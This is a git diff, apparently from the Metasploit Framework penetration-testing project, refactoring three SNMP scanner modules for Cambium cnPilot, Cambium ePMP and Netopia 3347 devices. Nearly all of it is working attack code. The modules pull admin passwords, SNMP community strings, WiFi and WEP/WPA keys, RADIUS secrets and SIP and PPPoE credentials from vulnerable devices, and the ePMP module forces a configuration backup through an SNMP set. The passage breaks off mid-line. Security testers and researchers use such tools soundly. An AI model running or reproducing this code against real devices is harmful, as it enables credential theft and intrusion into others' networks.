'License' => MSF_LICENSE + 'References' => [ + ['CVE', '2017-5262'], + ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ OptInt.new('TIMEOUT', [true, 'SNMP connection timeout', 10]) - ], self.class + ] ) end def run_host(ip) - begin - snmp = connect_snmp - print_good("#{ip}, Connected.\n") + snmp = connect_snmp + print_good("#{ip}, Connected.\n") - cnpilot_info = '' + cnpilot_info = '' - # System Info - snmp_system_name = snmp.get_value('1.3.6.1.4.1.41010.1.1.1.0') - snmp_system_description = snmp.get_value('1.3.6.1.2.1.1.1.0') - cnpilot_system_uptime = snmp.get_value('1.3.6.1.2.1.1.3.0') - cnpilot_hardware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.4.0') - cnpilot_firmware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.5.0') + # System Info + snmp_system_name = snmp.get_value('1.3.6.1.4.1.41010.1.1.1.0') + snmp_system_description = snmp.get_value('1.3.6.1.2.1.1.1.0') + cnpilot_system_uptime = snmp.get_value('1.3.6.1.2.1.1.3.0') + cnpilot_hardware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.4.0') + cnpilot_firmware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.5.0') - cnpilot_info << "SNMP System Name: #{snmp_system_name}" << "\n" - cnpilot_info << "SNMP System Description: #{snmp_system_description}" << "\n" - cnpilot_info << "Device UpTime: #{cnpilot_system_uptime}" << "\n" - cnpilot_info << "Hardware version: #{cnpilot_hardware_version}" << "\n" - cnpilot_info << "Firmware version: #{cnpilot_firmware_version}" << "\n" + cnpilot_info << "SNMP System Name: #{snmp_system_name}" << "\n" + cnpilot_info << "SNMP System Description: #{snmp_system_description}" << "\n" + cnpilot_info << "Device UpTime: #{cnpilot_system_uptime}" << "\n" + cnpilot_info << "Hardware version: #{cnpilot_hardware_version}" << "\n" + cnpilot_info << "Firmware version: #{cnpilot_firmware_version}" << "\n" - # cnPilot Web Management Admin account Info - admin_username = snmp.get_value('1.3.6.1.4.1.41010.1.7.12.0') - admin_password = snmp.get_value('1.3.6.1.4.1.41010.1.7.13.0') + # cnPilot Web Management Admin account Info + admin_username = snmp.get_value('1.3.6.1.4.1.41010.1.7.12.0') + admin_password = snmp.get_value('1.3.6.1.4.1.41010.1.7.13.0') - cnpilot_info << "Web Management Admin Login Name: #{admin_username}" << "\n" - cnpilot_info << "Web Management Admin Login Password: #{admin_password}" << "\n" + cnpilot_info << "Web Management Admin Login Name: #{admin_username}" << "\n" + cnpilot_info << "Web Management Admin Login Password: #{admin_password}" << "\n" - # SNMP Info - snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.2.0') - snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.3.0') - snmp_trap_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.4.0') - snmp_trap_entry_ip = snmp.get_value('1.3.6.1.4.1.41010.1.9.1.0') + # SNMP Info + snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.2.0') + snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.3.0') + snmp_trap_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.4.0') + snmp_trap_entry_ip = snmp.get_value('1.3.6.1.4.1.41010.1.9.1.0') - cnpilot_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n" - cnpilot_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n" - cnpilot_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n" - cnpilot_info << "SNMP Trap Server IP Address: #{snmp_trap_entry_ip}" << "\n" + cnpilot_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n" + cnpilot_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n" + cnpilot_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n" + cnpilot_info << "SNMP Trap Server IP Address: #{snmp_trap_entry_ip}" << "\n" - # WIFI Info - wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.6.1') - wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.8.1') - wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.7.1') + # WIFI Info + wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.6.1') + wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.8.1') + wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.7.1') - cnpilot_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n" - cnpilot_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n" - cnpilot_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n" + cnpilot_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n" + cnpilot_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n" + cnpilot_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n" - # SIP Account Info - sip_accountnumber = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.11.1') - sip_accountpassword = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.12.1') + # SIP Account Info + sip_accountnumber = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.11.1') + sip_accountpassword = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.12.1') - cnpilot_info << "SIP Account Number: #{sip_accountnumber}" << "\n" - cnpilot_info << "SIP Account Password: #{sip_accountpassword}" << "\n" + cnpilot_info << "SIP Account Number: #{sip_accountnumber}" << "\n" + cnpilot_info << "SIP Account Password: #{sip_accountpassword}" << "\n" - # Printing captured info - print_status("Fetching System Information...\n") - print_good("SNMP System Name: #{snmp_system_name}") - print_good("SNMP System Description: #{snmp_system_description}") - print_good("Device UpTime: #{cnpilot_system_uptime}") - print_good("Hardware version: #{cnpilot_hardware_version}") - print_good("Firmware version: #{cnpilot_firmware_version}\n") + # Printing captured info + print_status("Fetching System Information...\n") + print_good("SNMP System Name: #{snmp_system_name}") + print_good("SNMP System Description: #{snmp_system_description}") + print_good("Device UpTime: #{cnpilot_system_uptime}") + print_good("Hardware version: #{cnpilot_hardware_version}") + print_good("Firmware version: #{cnpilot_firmware_version}\n") - print_status("Fetching Login Account Information...\n") - print_good("Web Management Admin Login Name: #{admin_username}") - print_good("Web Management Admin Login Password: #{admin_password}\n") + print_status("Fetching Login Account Information...\n") + print_good("Web Management Admin Login Name: #{admin_username}") + print_good("Web Management Admin Login Password: #{admin_password}\n") - print_status("Fetching SNMP Information...\n") - print_good("SNMP read-only community name: #{snmp_readonly_community}") - print_good("SNMP read-write community name: #{snmp_readwrite_community}") - print_good("SNMP Trap Community: #{snmp_trap_community}") - print_good("SNMP Trap Server IP Address: #{snmp_trap_entry_ip} \n") + print_status("Fetching SNMP Information...\n") + print_good("SNMP read-only community name: #{snmp_readonly_community}") + print_good("SNMP read-write community name: #{snmp_readwrite_community}") + print_good("SNMP Trap Community: #{snmp_trap_community}") + print_good("SNMP Trap Server IP Address: #{snmp_trap_entry_ip} \n") - print_status("Fetching WIFI Information...\n") - print_good("Wireless Interface SSID: #{wireless_interface_ssid}") - print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}") - print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n") + print_status("Fetching WIFI Information...\n") + print_good("Wireless Interface SSID: #{wireless_interface_ssid}") + print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}") + print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n") - print_status("Fetching SIP Account Information...\n") - print_good("SIP Account Number: #{sip_accountnumber}") - print_good("SIP Account Password: #{sip_accountpassword}\n") + print_status("Fetching SIP Account Information...\n") + print_good("SIP Account Number: #{sip_accountnumber}") + print_good("SIP Account Password: #{sip_accountpassword}\n") - # Woot we got loot. - loot_name = 'snmp_loot' - loot_type = 'text/plain' - loot_filename = 'cnpilot_snmp_loot.txt' - loot_desc = 'Cambium cnPilot configuration data' - p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc) - print_good("Cambium cnPilot SNMP loot saved at #{p} \n") - - rescue SNMP::RequestTimeout - print_error("#{ip} SNMP request timeout.") - rescue Rex::ConnectionError - print_error("#{ip} Connection refused.") - rescue SNMP::InvalidIpAddress - print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") - rescue SNMP::UnsupportedVersion - print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - elog(e) - ensure - disconnect_snmp - end + # Woot we got loot. + loot_name = 'snmp_loot' + loot_type = 'text/plain' + loot_filename = 'cnpilot_snmp_loot.txt' + loot_desc = 'Cambium cnPilot configuration data' + p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc) + print_good("Cambium cnPilot SNMP loot saved at #{p} \n") + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("Unknown error: #{e.class} #{e}") + elog(e) + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/epmp1000_snmp_loot.rb b/modules/auxiliary/scanner/snmp/epmp1000_snmp_loot.rb index e31254ed48..4ee83b79d7 100644 --- a/modules/auxiliary/scanner/snmp/epmp1000_snmp_loot.rb +++ b/modules/auxiliary/scanner/snmp/epmp1000_snmp_loot.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -22,146 +23,147 @@ class MetasploitModule < Msf::Auxiliary configuration file can then be downloaded without authentication. The module has been tested on Cambium ePMP versions 3.5 & prior. }, - 'References' => - [ - ['URL', 'https://ipositivesecurity.com/2017/04/07/cambium-snmp-security-vulnerabilities/'], - ['CVE', '2017-7918'], - ['CVE', '2017-7922'] - ], + 'References' => [ + ['URL', 'https://ipositivesecurity.com/2017/04/07/cambium-snmp-security-vulnerabilities/'], + ['CVE', '2017-7918'], + ['CVE', '2017-7922'] + ], 'Author' => ['Karn Ganeshen'], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) end def run_host(ip) - begin - snmp = connect_snmp + snmp = connect_snmp - epmp_info = '' + epmp_info = '' - # System Info - snmp_systemname = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.3.0') - snmp_systemdescription = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.4.0') - system_uptime = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.4.0') - uboot_version = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.14.0') + # System Info + snmp_systemname = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.3.0') + snmp_systemdescription = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.4.0') + system_uptime = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.4.0') + uboot_version = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.14.0') - epmp_info << "SNMP System Name: #{snmp_systemname}" << "\n" - epmp_info << "SNMP System Description: #{snmp_systemdescription}" << "\n" - epmp_info << "Device UpTime: #{system_uptime}" << "\n" - epmp_info << "U-boot version: #{uboot_version}" << "\n" + epmp_info << "SNMP System Name: #{snmp_systemname}" << "\n" + epmp_info << "SNMP System Description: #{snmp_systemdescription}" << "\n" + epmp_info << "Device UpTime: #{system_uptime}" << "\n" + epmp_info << "U-boot version: #{uboot_version}" << "\n" - # SNMP Info - snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.1.0') - snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.2.0') - snmp_trap_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.6.0') - snmp_trap_entryip = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.7.1.2.0') + # SNMP Info + snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.1.0') + snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.2.0') + snmp_trap_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.6.0') + snmp_trap_entryip = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.7.1.2.0') - epmp_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n" - epmp_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n" - epmp_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n" - epmp_info << "SNMP Trap Server IP Address: #{snmp_trap_entryip}" << "\n" + epmp_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n" + epmp_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n" + epmp_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n" + epmp_info << "SNMP Trap Server IP Address: #{snmp_trap_entryip}" << "\n" - # WIFI Radius Info - wireless_radius_serverinfo = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.5.0') - wireless_radius_serverport = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.3.0') - wireless_radius_serversecret = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.4.0') - wireless_radius_username = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.8.0') - wireless_radius_password = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.9.0') + # WIFI Radius Info + wireless_radius_serverinfo = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.5.0') + wireless_radius_serverport = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.3.0') + wireless_radius_serversecret = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.4.0') + wireless_radius_username = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.8.0') + wireless_radius_password = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.9.0') - epmp_info << "RADIUS server info: #{wireless_radius_serverinfo}" << "\n" - epmp_info << "RADIUS server port: #{wireless_radius_serverport}" << "\n" - epmp_info << "RADIUS server secret: #{wireless_radius_serversecret}" << "\n" - epmp_info << "Wireless Radius Username: #{wireless_radius_username}" << "\n" - epmp_info << "Wireless Radius Password: #{wireless_radius_password}" << "\n" + epmp_info << "RADIUS server info: #{wireless_radius_serverinfo}" << "\n" + epmp_info << "RADIUS server port: #{wireless_radius_serverport}" << "\n" + epmp_info << "RADIUS server secret: #{wireless_radius_serversecret}" << "\n" + epmp_info << "Wireless Radius Username: #{wireless_radius_username}" << "\n" + epmp_info << "Wireless Radius Password: #{wireless_radius_password}" << "\n" - # WIFI Info - wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.2.0') - wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.4.0') - wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.3.0') + # WIFI Info + wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.2.0') + wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.4.0') + wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.3.0') - epmp_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n" - epmp_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n" - epmp_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n" + epmp_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n" + epmp_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n" + epmp_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n" - # Network PPPoE config - network_wan_pppoeservice = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.13.0') - network_wan_pppoeusername = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.10.0') - network_wan_pppoepassword = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.11.0') + # Network PPPoE config + network_wan_pppoeservice = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.13.0') + network_wan_pppoeusername = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.10.0') + network_wan_pppoepassword = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.11.0') - epmp_info << "Network PPPoE Service Name: #{network_wan_pppoeservice}" << "\n" - epmp_info << "Network PPPoE Username: #{network_wan_pppoeusername}" << "\n" - epmp_info << "Network PPPoE Password: #{network_wan_pppoepassword}" << "\n" + epmp_info << "Network PPPoE Service Name: #{network_wan_pppoeservice}" << "\n" + epmp_info << "Network PPPoE Username: #{network_wan_pppoeusername}" << "\n" + epmp_info << "Network PPPoE Password: #{network_wan_pppoepassword}" << "\n" - # Printing captured info - print_status("Fetching System Information...\n") - print_good("#{ip}") - print_good("SNMP System Name: #{snmp_systemname}") - print_good("SNMP System Description: #{snmp_systemdescription}") - print_good("Device UpTime: #{system_uptime}") - print_good("U-boot version: #{uboot_version} \n") + # Printing captured info + print_status("Fetching System Information...\n") + print_good(ip.to_s) + print_good("SNMP System Name: #{snmp_systemname}") + print_good("SNMP System Description: #{snmp_systemdescription}") + print_good("Device UpTime: #{system_uptime}") + print_good("U-boot version: #{uboot_version} \n") - print_status("Fetching SNMP Information...\n") - print_good("SNMP read-only community name: #{snmp_readonly_community}") - print_good("SNMP read-write community name: #{snmp_readwrite_community}") - print_good("SNMP Trap Community: #{snmp_trap_community}") - print_good("SNMP Trap Server IP Address: #{snmp_trap_entryip} \n") + print_status("Fetching SNMP Information...\n") + print_good("SNMP read-only community name: #{snmp_readonly_community}") + print_good("SNMP read-write community name: #{snmp_readwrite_community}") + print_good("SNMP Trap Community: #{snmp_trap_community}") + print_good("SNMP Trap Server IP Address: #{snmp_trap_entryip} \n") - print_status("Fetching WIFI Information...\n") - print_good("Wireless Interface SSID: #{wireless_interface_ssid}") - print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}") - print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n") + print_status("Fetching WIFI Information...\n") + print_good("Wireless Interface SSID: #{wireless_interface_ssid}") + print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}") + print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n") - print_status("Fetching WIFI Radius Information...\n") - print_good("RADIUS server info: #{wireless_radius_serverinfo}") - print_good("RADIUS server port: #{wireless_radius_serverport}") - print_good("RADIUS server secret: #{wireless_radius_serversecret}") - print_good("Wireless Radius Username: #{wireless_radius_username}") - print_good("Wireless Radius Password: #{wireless_radius_password} \n") + print_status("Fetching WIFI Radius Information...\n") + print_good("RADIUS server info: #{wireless_radius_serverinfo}") + print_good("RADIUS server port: #{wireless_radius_serverport}") + print_good("RADIUS server secret: #{wireless_radius_serversecret}") + print_good("Wireless Radius Username: #{wireless_radius_username}") + print_good("Wireless Radius Password: #{wireless_radius_password} \n") - print_status("Fetching Network PPPoE Information...\n") - print_good("Network PPPoE Service Name: #{network_wan_pppoeservice}") - print_good("Network PPPoE Username: #{network_wan_pppoeusername}") - print_good("Network PPPoE Password: #{network_wan_pppoepassword} \n") + print_status("Fetching Network PPPoE Information...\n") + print_good("Network PPPoE Service Name: #{network_wan_pppoeservice}") + print_good("Network PPPoE Username: #{network_wan_pppoeusername}") + print_good("Network PPPoE Password: #{network_wan_pppoepassword} \n") - # set request - backup_oid = '1.3.6.1.4.1.17713.21.6.4.10.0' - enable_backup = '1' - varbind = SNMP::VarBind.new(backup_oid, SNMP::OctetString.new(enable_backup)) - snmp.set(varbind) - backup_location_oid = '1.3.6.1.4.1.17713.21.6.4.13.0' - backup_location = snmp.get_value(backup_location_oid) + # set request + backup_oid = '1.3.6.1.4.1.17713.21.6.4.10.0' + enable_backup = '1' + varbind = SNMP::VarBind.new(backup_oid, SNMP::OctetString.new(enable_backup)) + snmp.set(varbind) + backup_location_oid = '1.3.6.1.4.1.17713.21.6.4.13.0' + backup_location = snmp.get_value(backup_location_oid) - if @backup_location.present? == false - print_status('Backup needs to triggered manually. Run the following commands:') - print_status(" snmpset -c -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.10.0 i 1") - print_status(" snmpget -c -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.13.0 \n") - else - print_good("Configuration backed-up for direct download at: #{backup_location}") - end - - # Woot we got loot. - loot_name = 'snmp_loot' - loot_type = 'text/plain' - loot_filename = 'epmp1000_snmp_loot.txt' - loot_desc = 'Cambium ePMP configuration data' - p = store_loot(loot_name, loot_type, datastore['RHOST'], epmp_info, loot_filename, loot_desc) - print_good("Cambium ePMP loot saved at #{p}") - - rescue SNMP::RequestTimeout - print_error("#{ip} SNMP request timeout.") - rescue Rex::ConnectionError - print_error("#{ip} Connection refused.") - rescue SNMP::InvalidIpAddress - print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") - rescue SNMP::UnsupportedVersion - print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - elog(e) - ensure - disconnect_snmp + if @backup_location.present? == false + print_status('Backup needs to triggered manually. Run the following commands:') + print_status(" snmpset -c -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.10.0 i 1") + print_status(" snmpget -c -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.13.0 \n") + else + print_good("Configuration backed-up for direct download at: #{backup_location}") end + + # Woot we got loot. + loot_name = 'snmp_loot' + loot_type = 'text/plain' + loot_filename = 'epmp1000_snmp_loot.txt' + loot_desc = 'Cambium ePMP configuration data' + p = store_loot(loot_name, loot_type, datastore['RHOST'], epmp_info, loot_filename, loot_desc) + print_good("Cambium ePMP loot saved at #{p}") + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("Unknown error: #{e.class} #{e}") + elog(e) + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb index f0d87df046..54b7994e05 100644 --- a/modules/auxiliary/scanner/snmp/netopia_enum.rb +++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -10,90 +11,96 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration', + 'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration', 'Description' => %q{ This module extracts WEP keys and WPA preshared keys from certain Netopia cable modems. }, - 'References' => - [ - [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] - ], - 'Author' => ['Deral "PercentX" Heiland'], - 'License' => MSF_LICENSE + 'References' => [ + [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] + ], + 'Author' => ['Deral "PercentX" Heiland'], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) - end def run_host(ip) - output_data = {} - begin - snmp = connect_snmp + snmp = connect_snmp - if snmp.get_value('sysDescr.0') =~ /Netopia 3347/ - - wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0') - if wifistatus == "1" - wifiinfo = "" - ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1') - print_good("#{ip}") - print_good("SSID: #{ssid}") - wifiinfo << "SSID: #{ssid}" << "\n" - - wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1') - if wifiversion == "1" - - # WEP enabled - elsif wifiversion == ("2"||"3") - wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1') - print_good("WEP KEY1: #{wepkey1}") - wifiinfo << "WEP KEY1: #{wepkey1}" << "\n" - wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2') - print_good("WEP KEY2: #{wepkey2}") - wifiinfo << "WEP KEY2: #{wepkey2}" << "\n" - wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3') - print_good("WEP KEY3: #{wepkey3}") - wifiinfo << "WEP KEY3: #{wepkey3}" << "\n" - wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4') - print_good("WEP KEY4: #{wepkey4}") - wifiinfo << "WEP KEY4: #{wepkey4}" << "\n" - actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0') - print_good("Active Wep key is Key#{actkey}") - wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" - - # WPA enabled - elsif wifiversion == "4" - print_line("Device is configured for WPA ") - wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1') - print_good("WPA PSK: #{wpapsk}") - wifiinfo << "WPA PSK: #{wpapsk}" << "\n" - - # WPA Enterprise enabled - elsif wifiversion == "5" - print_line("Device is configured for WPA enterprise") - else - print_line("FAILED") - end - - else - print_line("WIFI is not enabled") - end + sys_desc = snmp.get_value('sysDescr.0') + unless sys_desc =~ /Netopia 3347/ + print_error("#{ip} system is not Netopia 3347: #{sys_desc}") + return end - # Woot we got loot. - loot_name = "netopia_wifi" - loot_type = "text/plain" - loot_filename = "netopia_wifi.txt" - loot_desc = "Netopia Wifi configuration data" - p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc) - print_good("WiFi Data saved: #{p}") - rescue ::SNMP::UnsupportedVersion - rescue ::SNMP::RequestTimeout - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} - Error: #{e.class} #{e}") - disconnect_snmp - end + wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0') + + if wifistatus != '1' + print_line('WiFi is not enabled') + return + end + + wifiinfo = '' + ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1') + print_good(ip.to_s) + print_good("SSID: #{ssid}") + wifiinfo << "SSID: #{ssid}" << "\n" + + wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1') + if wifiversion == '1' + + # WEP enabled + elsif wifiversion == ('2' || '3') + wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1') + print_good("WEP KEY1: #{wepkey1}") + wifiinfo << "WEP KEY1: #{wepkey1}" << "\n" + wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2') + print_good("WEP KEY2: #{wepkey2}") + wifiinfo << "WEP KEY2: #{wepkey2}" << "\n" + wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3') + print_good("WEP KEY3: #{wepkey3}") + wifiinfo << "WEP KEY3: #{wepkey3}" << "\n" + wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4') + print_good("WEP KEY4: #{wepkey4}") + wifiinfo << "WEP KEY4: #{wepkey4}" << "\n" + actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0') + print_good("Active Wep key is Key#{actkey}") + wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" + + # WPA enabled + elsif wifiversion == '4' + print_line('Device is configured for WPA ') + wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1') + print_good("WPA PSK: #{wpapsk}") + wifiinfo << "WPA PSK: #{wpapsk}" << "\n" + + # WPA Enterprise enabled + elsif wifiversion == '5' + print_line('Device is configured for WPA enterprise') + else + print_line('FAILED') + end + + # Woot we got 